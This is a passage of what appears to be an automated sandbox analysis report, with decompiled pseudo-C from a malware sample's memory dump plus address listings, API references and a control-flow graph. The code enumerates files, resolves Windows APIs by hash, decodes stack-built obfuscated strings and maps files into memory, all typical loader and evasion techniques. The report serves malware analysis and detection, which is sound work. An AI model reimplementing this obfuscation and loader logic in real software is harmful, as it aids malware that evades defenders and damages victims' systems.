													__eflags = _t481;
													_t482 = _t481 >> 1;
													L59:
													E00F237C0(_t511,  &(_v700.cFileName), _t482);
													_t535 = _t534 - 0x18;
													_t484 = _t535;
													_push(0xffffffff);
													 *((intOrPtr*)(_t484 + 0x14)) = 7;
													 *((intOrPtr*)(_t484 + 0x10)) = 0;
													 *_t484 = 0;
													L00F239A0(_t484,  &_v32, 0);
													E00F34A10( &_v104, _t511);
													_t533 = _t535 - 0x18;
													_t486 = _t533;
													_push(0xffffffff);
													 *((intOrPtr*)(_t486 + 0x14)) = 7;
													 *((intOrPtr*)(_t486 + 0x10)) = 0;
													 *_t486 = 0;
													L00F239A0(_t486,  &_v104, 0);
													_t386 = E00F37620(_t511); // executed
													__eflags = _t386 - 0x3a98;
													if(_t386 < 0x3a98) {
														L69:
														_t387 = _v84;
														__eflags = _t387 - 8;
														if(_t387 >= 8) {
															__eflags = _t387 + 1;
															E00F238C0(_t452, _t511, _t517, _v104, _t387 + 1);
														}
														__eflags = 0;
														_v84 = 7;
														_v88 = 0;
														_v104 = 0;
														goto L72;
													}
													__eflags = _t524;
													if(_t524 != 0) {
														__eflags = _t524 - 1;
														if(_t524 != 1) {
															__eflags = _t524 - 2;
															if(_t524 != 2) {
																goto L69;
															}
															_t391 = 0xf4c3a8;
															L66:
															_t291 = _t391 + 0x30; // 0x2a8
															_t517 =  *_t291;
															_t392 =  *0xf4c2ec; // 0xddcc10
															_t393 =  *(_t392 + 0x2c);
															__eflags = _t393;
															if(_t393 == 0) {
																_t511 = 0;
																__eflags = 0;
																_t393 = E00F222A0(_t452, 0, 0, _t517, _t524, 0x6a095e21);
																_t489 =  *0xf4c2ec; // 0xddcc10
																 *(_t489 + 0x2c) = _t393;
															}
															 *_t393(_t517, 0xffffffff);
															goto L69;
														}
														_t391 = 0xf4c3dc;
														goto L66;
													}
													_t391 = 0xf4c374;
													goto L66;
												}
												_t482 = 0;
												goto L59;
											}
											_t395 = E00F34C90( &(_v700.cFileName));
											__eflags = _t395;
											if(_t395 == 0) {
												goto L53;
											}
											_t536 = _t533 - 0x18;
											_t396 = 0;
											_t511 = _t536;
											 *((intOrPtr*)(_t511 + 0x14)) = 7;
											 *((intOrPtr*)(_t511 + 0x10)) = 0;
											 *_t511 = 0;
											__eflags = _v700.cFileName;
											if(_v700.cFileName == 0) {
												L48:
												E00F237C0(_t511,  &(_v700.cFileName), _t396);
												_t537 = _t536 - 0x18;
												_t492 = _t537;
												_push(0xffffffff);
												 *((intOrPtr*)(_t492 + 0x14)) = 7;
												 *((intOrPtr*)(_t492 + 0x10)) = 0;
												 *_t492 = 0;
												L00F239A0(_t492,  &_v32, 0);
												E00F34A10( &_v80, _t511); // executed
												_t517 = E00F37C92( &_v80, _t511, _t524, __eflags, 0x20);
												_t533 = _t537 + 4;
												 *((intOrPtr*)(_t517 + 0x14)) = 7;
												 *((intOrPtr*)(_t517 + 0x10)) = 0;
												 *_t517 = 0;
												_t405 =  &_v80;
												__eflags = _t517 - _t405;
												if(_t517 != _t405) {
													_push(0xffffffff);
													L00F239A0(_t517, _t405, 0);
												}
												 *((intOrPtr*)(_t517 + 0x18)) = 0;
												_t267 = _t517 + 0x18; // 0x18
												 *((intOrPtr*)(_t517 + 0x1c)) = _v704;
												 *_v704 = _t517;
												_t408 = _v60;
												_v704 = _t267;
												__eflags = _t408 - 8;
												if(_t408 >= 8) {
													__eflags = _t408 + 1;
													E00F238C0(_t452, _t511, _t517, _v80, _t408 + 1);
												}
												_v60 = 7;
												_v64 = 0;
												_v80 = 0;
												goto L72;
											}
											_t413 =  &(_v700.cFileName);
											_t518 = _t413 + 2;
											do {
												_t496 =  *_t413;
												_t413 = _t413 + 2;
												__eflags = _t496;
											} while (_t496 != 0);
											_t414 = _t413 - _t518;
											__eflags = _t414;
											_t396 = _t414 >> 1;
											goto L48;
										}
									}
									_t519 = 0;
									_t228 = _t519 + 0x7f; // 0x7f
									_t527 = _t228;
									asm("o16 nop [eax+eax]");
									do {
										_t230 = _t519 - 0x2cf; // 0x3c
										asm("cdq");
										_t421 = ((( *(_t529 + _t230) & 0x000000ff) - 0x60 << 4) + ( *(_t529 + _t230) & 0x000000ff) - 0x60 + (( *(_t529 + _t230) & 0x000000ff) - 0x60 << 4) + ( *(_t529 + _t230) & 0x000000ff) - 0x60) % _t527 + 0x7f;
										asm("cdq");
										_t511 = _t421 % _t527;
										 *((char*)(_t529 + _t519 - 0x2cf)) = _t421 % _t527;
										_t519 = _t519 + 1;
										__eflags = _t519 - 6;
									} while (_t519 < 6);
									_t524 = _v848;
									goto L38;
								}
							}
							_t517 = 0;
							_t200 = _t517 + 0x7f; // 0x7f
							_t525 = _t200;
							asm("o16 nop [eax+eax]");
							do {
								asm("cdq");
								_t428 = ((( *(_t529 + _t517 - 0x2c7) & 0x000000ff) - 0x2d << 5) - ( *(_t529 + _t517 - 0x2c7) & 0x000000ff) - 0x2d) % _t525 + 0x7f;
								asm("cdq");
								_t511 = _t428 % _t525;
								 *(_t529 + _t517 - 0x2c7) = _t428 % _t525;
								_t517 = _t517 + 1;
								__eflags = _t517 - 4;
							} while (_t517 < 4);
							_t524 = _v848;
							goto L31;
							L72:
							_t347 =  *0xf4c2ec; // 0xddcc10
							__eflags =  *(_t347 + 0xbc);
							if( *(_t347 + 0xbc) == 0) {
								_t511 = 0;
								__eflags = 0;
								_t368 = E00F222A0(_t452, 0, 0, _t517, _t524, 0x9aea18e1);
								_t476 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t476 + 0xbc)) = _t368;
							}
							_t349 = FindNextFileW(_t452,  &_v700); // executed
							__eflags = _t349;
						} while (_t349 != 0);
						_t526 = _v852;
						_t470 =  *(_t526 + 0x18);
						_t350 =  *(_t526 + 0x1c);
						__eflags = _t470;
						if(_t470 == 0) {
							_v704 = _t350;
						} else {
							 *(_t470 + 0x1c) = _t350;
						}
						 *( *(_t526 + 0x1c)) =  *(_t526 + 0x18);
						_t352 =  *((intOrPtr*)(_t526 + 0x14));
						__eflags = _t352 - 8;
						if(_t352 >= 8) {
							__eflags = _t352 + 1;
							E00F238C0(_t452, _t511, _t517,  *_t526, _t352 + 1);
						}
						 *((intOrPtr*)(_t526 + 0x14)) = 7;
						__eflags =  *((intOrPtr*)(_t526 + 0x14)) - 8;
						 *((intOrPtr*)(_t526 + 0x10)) = 0;
						if( *((intOrPtr*)(_t526 + 0x14)) < 8) {
							_t353 = _t526;
						} else {
							_t353 =  *_t526;
						}
						_push(0x20);
						 *_t353 = 0;
						E00F37CCA(_t526);
						_t355 =  *0xf4c2ec; // 0xddcc10
						_t531 = _t533 + 8;
						__eflags =  *(_t355 + 0xc0);
						if( *(_t355 + 0xc0) == 0) {
							_t511 = 0;
							__eflags = 0;
							_t365 = E00F222A0(_t452, 0, 0, _t517, _t526, 0x75fcf770);
							_t474 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t474 + 0xc0)) = _t365;
						}
						FindClose(_t452); // executed
						goto L22;
					} else {
						_t430 =  *0xf4c2ec; // 0xddcc10
						_t431 =  *((intOrPtr*)(_t430 + 0x40));
						if(_t431 == 0) {
							_t511 = 0;
							_t431 = E00F222A0(_t452, 0, 0, _t515, _t523, 0x1fbbb84f);
							_t507 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t507 + 0x40)) = _t431;
						}
						_v856 =  *_t431();
						_t452 =  >=  ? _v32 :  &_v32;
						_v844 = 0;
						_v843 = 0x58;
						_v842 = 0x6a;
						_v841 = 0x4f;
						_v840 = 0x6a;
						_v839 = 0x72;
						_v838 = 0x6a;
						_v837 = 0x2c;
						_v836 = 0x6a;
						_v835 = 0x58;
						_v834 = 0x6a;
						_v833 = 0x4f;
						_v832 = 0x6a;
						_v831 = 0xf;
						_v830 = 0x6a;
						_v829 = 0x16;
						_v828 = 0x6a;
						_v827 = 0x1d;
						_v826 = 0x6a;
						_v825 = 0x58;
						_v824 = 0x6a;
						_v823 = 0x4f;
						_v822 = 0x6a;
						_v821 = 0x64;
						_v820 = 0x6a;
						_v819 = 0x33;
						_v818 = 0x6a;
						_v817 = 0x4c;
						_v816 = 0x6a;
						_v815 = 0x3a;
						_v814 = 0x6a;
						_v813 = 0x17;
						_v812 = 0x6a;
						_v811 = 0x4f;
						_v810 = 0x6a;
						_v809 = 0x64;
						_v808 = 0x6a;
						_v807 = 0x16;
						_v806 = 0x6a;
						_v805 = 0x4c;
						_v804 = 0x6a;
						_v803 = 0x4f;
						_v802 = 0x6a;
						_v801 = 0x72;
						_v800 = 0x6a;
						_v799 = 0x4c;
						_v798 = 0x6a;
						_v797 = 0x2c;
						_v796 = 0x6a;
						_v795 = 0x4f;
						_v794 = 0x6a;
						_v793 = 0xf;
						_v792 = 0x6a;
						_v791 = 0x33;
						_v790 = 0x6a;
						_v789 = 0x25;
						_v788 = 0x6a;
						_v787 = 0x1d;
						_v786 = 0x6a;
						_v785 = 0x79;
						_v784 = 0x6a;
						_v783 = 0xf;
						_v782 = 0x6a;
						_v781 = 0x40;
						_v780 = 0x6a;
						_v779 = 0x4c;
						_v778 = 0x6a;
						_v777 = 0x6f;
						_v776 = 0x6a;
						_v775 = 0x16;
						_v774 = 0x6a;
						_v773 = 0x2f;
						_v772 = 0x6a;
						_v771 = 0x4c;
						_v770 = 0x6a;
						_v769 = 0x5f;
						_v768 = 0x6a;
						_v767 = 0x33;
						_v766 = 0x6a;
						_v765 = 0x1d;
						_v764 = 0x6a;
						_v763 = 3;
						_v762 = 0x6a;
						_v761 = 0x17;
						_v760 = 0x6a;
						_v759 = 0x16;
						_v758 = 0x6a;
						_v757 = 0x1d;
						_v756 = 0x6a;
						_v755 = 0x51;
						_v754 = 0x6a;
						_v753 = 0xf;
						_v752 = 0x6a;
						_v751 = 0xf;
						_v750 = 0x6a;
						_v749 = 0x79;
						_v748 = 0x6a;
						_v747 = 0xf;
						_v746 = 0x6a;
						_v745 = 0x4c;
						_v744 = 0x6a;
						_v743 = 0x19;
						_v742 = 0x6a;
						_v741 = 0x4c;
						_v740 = 0x6a;
						_v739 = 0x6f;
						_v738 = 0x6a;
						_v737 = 0x64;
						_v736 = 0x6a;
						_v735 = 0x24;
						_v734 = 0x6a;
						_v733 = 0x2f;
						_v732 = 0x6a;
						_v731 = 0x6a;
						_v730 = 0x6a;
						if(_v844 != 0) {
							L13:
							_push(_v856);
							E00F2FDD0(_t452, _t515, _t523,  &_v843, _t452);
							_t501 =  *(_t523 + 0x18);
							_t538 = _t533 + 0xc;
							_t436 =  *(_t523 + 0x1c);
							if(_t501 == 0) {
								_v704 = _t436;
							} else {
								 *(_t501 + 0x1c) = _t436;
							}
							 *( *(_t523 + 0x1c)) =  *(_t523 + 0x18);
							_t438 =  *((intOrPtr*)(_t523 + 0x14));
							if( *((intOrPtr*)(_t523 + 0x14)) >= 8) {
								E00F238C0(_t452, _t511, _t515,  *_t523, _t438 + 1);
							}
							 *((intOrPtr*)(_t523 + 0x14)) = 7;
							 *((intOrPtr*)(_t523 + 0x10)) = 0;
							if( *((intOrPtr*)(_t523 + 0x14)) < 8) {
								_t439 = _t523;
							} else {
								_t439 =  *_t523;
							}
							_push(0x20);
							 *_t439 = 0;
							E00F37CCA(_t523);
							_t531 = _t538 + 8;
							L22:
							_t358 = _v36;
							if(_v36 >= 8) {
								E00F238C0(_t452, _t511, _t517, _v56, _t358 + 1);
							}
							_v36 = 7;
							_v56 = 0;
							_t360 = _v12;
							_v40 = 0;
							if(_v12 >= 8) {
								E00F238C0(_t452, _t511, _t517, _v32, _t360 + 1);
							}
							continue;
						} else {
							_t520 = 0;
							_t156 = _t520 + 0x7f; // 0x7f
							_t528 = _t156;
							do {
								asm("cdq");
								_t448 = (0x6a - ( *(_t529 + _t520 - 0x347) & 0x000000ff) + 0x350 + 0x6a - ( *(_t529 + _t520 - 0x347) & 0x000000ff) + 0x350) % _t528 + 0x7f;
								asm("cdq");
								_t511 = _t448 % _t528;
								 *(_t529 + _t520 - 0x347) = _t448 % _t528;
								_t520 = _t520 + 1;
							} while (_t520 < 0x72);
							_t523 = _v852;
							goto L13;
						}
					}
				}
				_t326 = _a24;
				__eflags = _t326 - 8;
				if(_t326 >= 8) {
					__eflags = _t326 + 1;
					E00F238C0(_t452, _t511, _t515, _a4, _t326 + 1);
				}
				__eflags = _v8 ^ _t529;
				return E00F37A82(_v8 ^ _t529);
			}







































































































































































































































    0x00f35950
    0x00f35950
    0x00f35950
    0x00f35959
    0x00f35960
    0x00f3596c
    0x00f35974
    0x00f3597e
    0x00f35989
    0x00f3598b
    0x00f35990
    0x00f35997
    0x00f3599e
    0x00f359a6
    0x00f359a8
    0x00f359af
    0x00f359af
    0x00f359b4
    0x00f359b4
    0x00f359b7
    0x00f359c3
    0x00f359cc
    0x00f359ce
    0x00f359e0
    0x00f359e0
    0x00f359e6
    0x00f359ee
    0x00000000
    0x00000000
    0x00f359f6
    0x00f359fd
    0x00f35a04
    0x00f35a0b
    0x00f35a0f
    0x00f35a14
    0x00f35a19
    0x00f35a1b
    0x00f35a1d
    0x00f35a24
    0x00f35a2c
    0x00f35a33
    0x00f35a3b
    0x00f35a40
    0x00f35a45
    0x00f35a47
    0x00f35a49
    0x00f35a50
    0x00f35a58
    0x00f35a5f
    0x00f35a64
    0x00f35a69
    0x00f35a75
    0x00f35a81
    0x00f35a88
    0x00f35a8c
    0x00f35a91
    0x00f35a97
    0x00f35a97
    0x00f35aa5
    0x00f35aa7
    0x00f35aac
    0x00f35f02
    0x00f35f10
    0x00f35f10
    0x00f35f17
    0x00f35f1e
    0x00f35f25
    0x00f35f2c
    0x00f35f39
    0x00f35f40
    0x00f35f80
    0x00f35f80
    0x00f35f85
    0x00f35f8b
    0x00f35f8d
    0x00f35f94
    0x00f35f96
    0x00f35f98
    0x00f35f9d
    0x00f35fa3
    0x00f35fa3
    0x00f35fb7
    0x00f35fb9
    0x00f35fbb
    0x00000000
    0x00f35fc1
    0x00f35fc1
    0x00f35fc8
    0x00f35fcf
    0x00f35fd6
    0x00f35fdd
    0x00f35fe4
    0x00f35feb
    0x00f35ff8
    0x00f35fff
    0x00f36042
    0x00f36042
    0x00f36047
    0x00f3604d
    0x00f3604f
    0x00f36056
    0x00f36058
    0x00f3605a
    0x00f3605f
    0x00f36065
    0x00f36065
    0x00f3606b
    0x00f36079
    0x00f3607b
    0x00f3607d
    0x00000000
    0x00f36083
    0x00f36083
    0x00f36089
    0x00f3608e
    0x00000000
    0x00000000
    0x00f36094
    0x00f36096
    0x00f361a8
    0x00f361ae
    0x00f361b3
    0x00f361b5
    0x00000000
    0x00000000
    0x00f361bb
    0x00f361c0
    0x00f361c2
    0x00f361c9
    0x00f361d0
    0x00f361d3
    0x00f361da
    0x00f361e0
    0x00f361e6
    0x00f361f0
    0x00f361f0
    0x00f361f3
    0x00f361f6
    0x00f361f6
    0x00f361fb
    0x00f361fb
    0x00f361fd
    0x00f361ff
    0x00f36209
    0x00f3620e
    0x00f36213
    0x00f36215
    0x00f36217
    0x00f3621e
    0x00f36226
    0x00f3622d
    0x00f36235
    0x00f3623a
    0x00f3623f
    0x00f36241
    0x00f36243
    0x00f3624a
    0x00f36252
    0x00f36259
    0x00f36260
    0x00f36265
    0x00f3626a
    0x00f362b8
    0x00f362b8
    0x00f362bb
    0x00f362be
    0x00f362c0
    0x00f362c5
    0x00f362c5
    0x00f362ca
    0x00f362cc
    0x00f362d3
    0x00f362da
    0x00000000
    0x00f362da
    0x00f3626c
    0x00f3626e
    0x00f36277
    0x00f3627a
    0x00f36283
    0x00f36286
    0x00000000
    0x00000000
    0x00f36288
    0x00f3628d
    0x00f3628d
    0x00f3628d
    0x00f36290
    0x00f36295
    0x00f36298
    0x00f3629a
    0x00f362a1
    0x00f362a3
    0x00f362a5
    0x00f362aa
    0x00f362b0
    0x00f362b0
    0x00f362b6
    0x00000000
    0x00f362b6
    0x00f3627c
    0x00000000
    0x00f3627c
    0x00f36270
    0x00000000
    0x00f36270
    0x00f361dc
    0x00000000
    0x00f361dc
    0x00f360a2
    0x00f360a7
    0x00f360a9
    0x00000000
    0x00000000
    0x00f360af
    0x00f360b2
    0x00f360b4
    0x00f360b6
    0x00f360bd
    0x00f360c4
    0x00f360c7
    0x00f360ce
    0x00f360ef
    0x00f360f9
    0x00f360fe
    0x00f36103
    0x00f36105
    0x00f36107
    0x00f3610e
    0x00f36116
    0x00f3611d
    0x00f36125
    0x00f36131
    0x00f36133
    0x00f36138
    0x00f3613f
    0x00f36146
    0x00f36149
    0x00f3614c
    0x00f3614e
    0x00f36150
    0x00f36157
    0x00f36157
    0x00f3615c
    0x00f36163
    0x00f3616c
    0x00f36175
    0x00f36177
    0x00f3617a
    0x00f36180
    0x00f36183
    0x00f36185
    0x00f3618a
    0x00f3618a
    0x00f36191
    0x00f36198
    0x00f3619f
    0x00000000
    0x00f3619f
    0x00f360d0
    0x00f360d6
    0x00f360e0
    0x00f360e0
    0x00f360e3
    0x00f360e6
    0x00f360e6
    0x00f360eb
    0x00f360eb
    0x00f360ed
    0x00000000
    0x00f360ed
    0x00f3607d
    0x00f36001
    0x00f36003
    0x00f36003
    0x00f36006
    0x00f36010
    0x00f36010
    0x00f36026
    0x00f36029
    0x00f3602c
    0x00f3602d
    0x00f3602f
    0x00f36036
    0x00f36037
    0x00f36037
    0x00f3603c
    0x00000000
    0x00f3603c
    0x00f35fbb
    0x00f35f42
    0x00f35f44
    0x00f35f44
    0x00f35f47
    0x00f35f50
    0x00f35f64
    0x00f35f67
    0x00f35f6a
    0x00f35f6b
    0x00f35f6d
    0x00f35f74
    0x00f35f75
    0x00f35f75
    0x00f35f7a
    0x00000000
    0x00f362de
    0x00f362de
    0x00f362e9
    0x00f362eb
    0x00f362f2
    0x00f362f4
    0x00f362f6
    0x00f362fb
    0x00f36301
    0x00f36301
    0x00f3630f
    0x00f36311
    0x00f36311
    0x00f36319
    0x00f3631f
    0x00f36322
    0x00f36325
    0x00f36327
    0x00f3632e
    0x00f36329
    0x00f36329
    0x00f36329
    0x00f3633a
    0x00f3633c
    0x00f3633f
    0x00f36342
    0x00f36344
    0x00f36348
    0x00f36348
    0x00f3634d
    0x00f36354
    0x00f36358
    0x00f3635f
    0x00f36365
    0x00f36361
    0x00f36361
    0x00f36361
    0x00f36369
    0x00f3636c
    0x00f3636f
    0x00f36374
    0x00f36379
    0x00f36382
    0x00f36384
    0x00f3638b
    0x00f3638d
    0x00f3638f
    0x00f36394
    0x00f3639a
    0x00f3639a
    0x00f363a1
    0x00000000
    0x00f35ab2
    0x00f35ab2
    0x00f35ab7
    0x00f35abc
    0x00f35ac3
    0x00f35ac7
    0x00f35acc
    0x00f35ad2
    0x00f35ad2
    0x00f35ade
    0x00f35ae4
    0x00f35ae8
    0x00f35aef
    0x00f35af6
    0x00f35afd
    0x00f35b04
    0x00f35b0b
    0x00f35b12
    0x00f35b19
    0x00f35b20
    0x00f35b27
    0x00f35b2e
    0x00f35b35
    0x00f35b3c
    0x00f35b43
    0x00f35b4a
    0x00f35b51
    0x00f35b58
    0x00f35b5f
    0x00f35b66
    0x00f35b6d
    0x00f35b74
    0x00f35b7b
    0x00f35b82
    0x00f35b89
    0x00f35b90
    0x00f35b97
    0x00f35b9e
    0x00f35ba5
    0x00f35bac
    0x00f35bb3
    0x00f35bba
    0x00f35bc1
    0x00f35bc8
    0x00f35bcf
    0x00f35bd6
    0x00f35bdd
    0x00f35be4
    0x00f35beb
    0x00f35bf2
    0x00f35bf9
    0x00f35c00
    0x00f35c07
    0x00f35c0e
    0x00f35c15
    0x00f35c1c
    0x00f35c23
    0x00f35c2a
    0x00f35c31
    0x00f35c38
    0x00f35c3f
    0x00f35c46
    0x00f35c4d
    0x00f35c54
    0x00f35c5b
    0x00f35c62
    0x00f35c69
    0x00f35c70
    0x00f35c77
    0x00f35c7e
    0x00f35c85
    0x00f35c8c
    0x00f35c93
    0x00f35c9a
    0x00f35ca1
    0x00f35ca8
    0x00f35caf
    0x00f35cb6
    0x00f35cbd
    0x00f35cc4
    0x00f35ccb
    0x00f35cd2
    0x00f35cd9
    0x00f35ce0
    0x00f35ce7
    0x00f35cee
    0x00f35cf5
    0x00f35cfc
    0x00f35d03
    0x00f35d0a
    0x00f35d11
    0x00f35d18
    0x00f35d1f
    0x00f35d26
    0x00f35d2d
    0x00f35d34
    0x00f35d3b
    0x00f35d42
    0x00f35d49
    0x00f35d50
    0x00f35d57
    0x00f35d5e
    0x00f35d65
    0x00f35d6c
    0x00f35d73
    0x00f35d7a
    0x00f35d81
    0x00f35d88
    0x00f35d8f
    0x00f35d96
    0x00f35d9d
    0x00f35da4
    0x00f35dab
    0x00f35db2
    0x00f35db9
    0x00f35dc0
    0x00f35dc7
    0x00f35dce
    0x00f35dd5
    0x00f35ddc
    0x00f35de3
    0x00f35dea
    0x00f35df1
    0x00f35df8
    0x00f35dff
    0x00f35e06
    0x00f35e1a
    0x00f35e53
    0x00f35e53
    0x00f35e61
    0x00f35e66
    0x00f35e69
    0x00f35e6c
    0x00f35e71
    0x00f35e78
    0x00f35e73
    0x00f35e73
    0x00f35e73
    0x00f35e84
    0x00f35e86
    0x00f35e8c
    0x00f35e92
    0x00f35e92
    0x00f35e97
    0x00f35ea2
    0x00f35ea9
    0x00f35eaf
    0x00f35eab
    0x00f35eab
    0x00f35eab
    0x00f35eb3
    0x00f35eb6
    0x00f35eb9
    0x00f35ebe
    0x00f35ec1
    0x00f35ec1
    0x00f35ec7
    0x00f35ece
    0x00f35ece
    0x00f35ed5
    0x00f35edc
    0x00f35ee0
    0x00f35ee3
    0x00f35eed
    0x00f35ef8
    0x00f35ef8
    0x00000000
    0x00f35e1c
    0x00f35e1c
    0x00f35e1e
    0x00f35e1e
    0x00f35e21
    0x00f35e37
    0x00f35e3a
    0x00f35e3d
    0x00f35e3e
    0x00f35e40
    0x00f35e47
    0x00f35e48
    0x00f35e4d
    0x00000000
    0x00f35e4d
    0x00f35e1a
    0x00f35aac
    0x00f363a8
    0x00f363ab
    0x00f363ae
    0x00f363b0
    0x00f363b5
    0x00f363b5
    0x00f363bf
    0x00f363ca

    APIs
    • new.LIBCMT ref: 00F35984
    • FindFirstFileW.KERNELBASE(?,?,?,00000000), ref: 00F35AA5
    • new.LIBCMT ref: 00F3612C
    • FindNextFileW.KERNELBASE(00000000,?), ref: 00F3630F
    • FindClose.KERNELBASE(00000000,?,000000FF,?,?,?,?,?,000000FF), ref: 00F363A1
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Find$File$CloseFirstNext
    • String ID: $$%$,$,$-$-$-$/$/$3$3$3$:$<`<```$@$L$L$L$L$L$L$L$O$O$O$O$O$O$Q$X$X$X$_$d$d$d$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$j$o$o$r$r$y$y
    • API String ID: 3541575487-2036233317
    • Opcode ID: 6d0c7762c6df2c41d9c139082484394a33d04c22440b2e2d2c06a0accd4daa82
    • Instruction ID: 8f0d4cc3a4e11067ba7ddb08d2bdf86d68d60c572ec7bec94c77af45fa187aec
    • Opcode Fuzzy Hash: 6d0c7762c6df2c41d9c139082484394a33d04c22440b2e2d2c06a0accd4daa82
    • Instruction Fuzzy Hash: F262E770905298CFEB22DB24CC5879DBBB5AF16314F0441DDD448AB282C77A9F89DF62
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F210D0 Relevance: 184.1, APIs: 12, Strings: 93, Instructions: 396libraryloaderfileCOMMON
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 905 f210d0-f212c9 call f21a10 LoadLibraryA call f219b0 GetProcAddress call f21950 GetProcAddress CreateFileW 913 f212cf-f213ca call f218f0 GetProcAddress call f218b0 GetProcAddress 905->913 914 f217dc-f217ec call f37a82 905->914 922 f213d0-f2148b call f21850 GetProcAddress CreateFileMappingW 913->922 923 f217d9 913->923 922->923 926 f21491-f2152f call f217f0 GetProcAddress MapViewOfFile 922->926 923->914 929 f217d6 926->929 930 f21535-f21544 926->930 929->923 931 f21546-f2154b 930->931 932 f2154d-f21557 930->932 933 f21562-f215ad call f21000 * 3 931->933 932->929 934 f2155d 932->934 933->914 941 f215b3-f21602 call f21000 * 3 call f21080 933->941 934->933 950 f21608-f21619 GetProcAddress 941->950 951 f21799-f217bf 941->951 950->951 953 f2161f-f21623 950->953 951->941 952 f217c5-f217d5 call f37a82 951->952 955 f21637-f21639 953->955 956 f21625-f21627 953->956 958 f21682-f21713 955->958 959 f2163b-f2164d 955->959 956->951 957 f2162d-f21631 956->957 957->951 957->955 962 f21746-f2176b GetProcAddress 958->962 963 f21715-f2171a 958->963 961 f21650-f21657 959->961 964 f21671 961->964 965 f21659 961->965 962->914 971 f2176d-f21791 962->971 966 f21720-f21744 963->966 970 f21674-f21676 964->970 968 f2166a-f2166f 965->968 969 f2165b-f21660 965->969 966->962 966->966 968->970 969->961 972 f21662-f21668 969->972 973 f21793 970->973 974 f2167c 970->974 971->914 971->973 972->970 973->951 974->958
    C-Code - Quality: 68%
    			E00F210D0(void* __ebx, struct HINSTANCE__* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				short _v532;
				long _v536;
				long _v540;
				char _v544;
				signed short* _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				struct HINSTANCE__* _v568;
				void* _v572;
				intOrPtr _v576;
				long _v580;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				char _v622;
				char _v623;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v637;
				char _v638;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v681;
				char _v682;
				char _v683;
				char _v684;
				char _v685;
				char _v686;
				char _v687;
				char _v688;
				char _v689;
				char _v690;
				char _v691;
				char _v692;
				char _v693;
				char _v694;
				char _v695;
				char _v696;
				char _v697;
				char _v698;
				char _v699;
				char _v700;
				struct HINSTANCE__* _v704;
				signed int _v708;
				signed int _v712;
				intOrPtr _v716;
				signed int _t219;
				struct HINSTANCE__* _t223;
				_Unknown_base(*)()* _t226;
				void* _t231;
				_Unknown_base(*)()* _t235;
				long _t240;
				void* _t245;
				void* _t249;
				char _t253;
				void* _t255;
				intOrPtr _t258;
				void* _t260;
				_Unknown_base(*)()* _t267;
				_Unknown_base(*)() _t268;
				signed int _t284;
				signed int _t285;
				struct HINSTANCE__* _t287;
				void* _t288;
				signed int _t292;
				void* _t308;
				void* _t319;
				void* _t320;
				intOrPtr* _t332;
				signed short* _t334;
				intOrPtr* _t335;
				signed int _t336;
				void* _t338;
				struct HINSTANCE__* _t340;
				void* _t342;
				void* _t343;
				CHAR* _t344;
				_Unknown_base(*)()* _t345;
				signed int _t346;
				void* _t360;

				_t219 =  *0xf4a004; // 0x355216d4
				_v8 = _t219 ^ _t346;
				_t287 = __ecx;
				_v704 = __ecx;
				_v576 = 0x10b;
				_v548 = 0x20b;
				_v644 = 0;
				_v643 = 0x33;
				_v642 = 9;
				_v641 = 0x64;
				_v640 = 0x48;
				_v639 = 9;
				_v638 = 0x3a;
				_v637 = 0x28;
				_v636 = 0x21;
				_v635 = 5;
				_v634 = 2;
				_v633 = 0x3a;
				_v632 = 0x3a;
				_v631 = 0x40;
				_t223 = LoadLibraryA(E00F21A10( &_v644));
				_v680 = 0;
				_v679 = 0x6d;
				_t340 = _t223;
				_v678 = 0x6f;
				_v677 = 0x70;
				_v676 = 0x54;
				_v675 = 0x1b;
				_v674 = 0x5e;
				_v673 = 2;
				_v672 = 0x67;
				_v671 = 0x6f;
				_v670 = 0x5c;
				_v669 = 0x34;
				_v668 = 0x67;
				_v667 = 0x6f;
				_v666 = 0x65;
				_v665 = 0x2b;
				_v664 = 0x78;
				_v663 = 0x6f;
				_v662 = 0;
				_v661 = 0x2d;
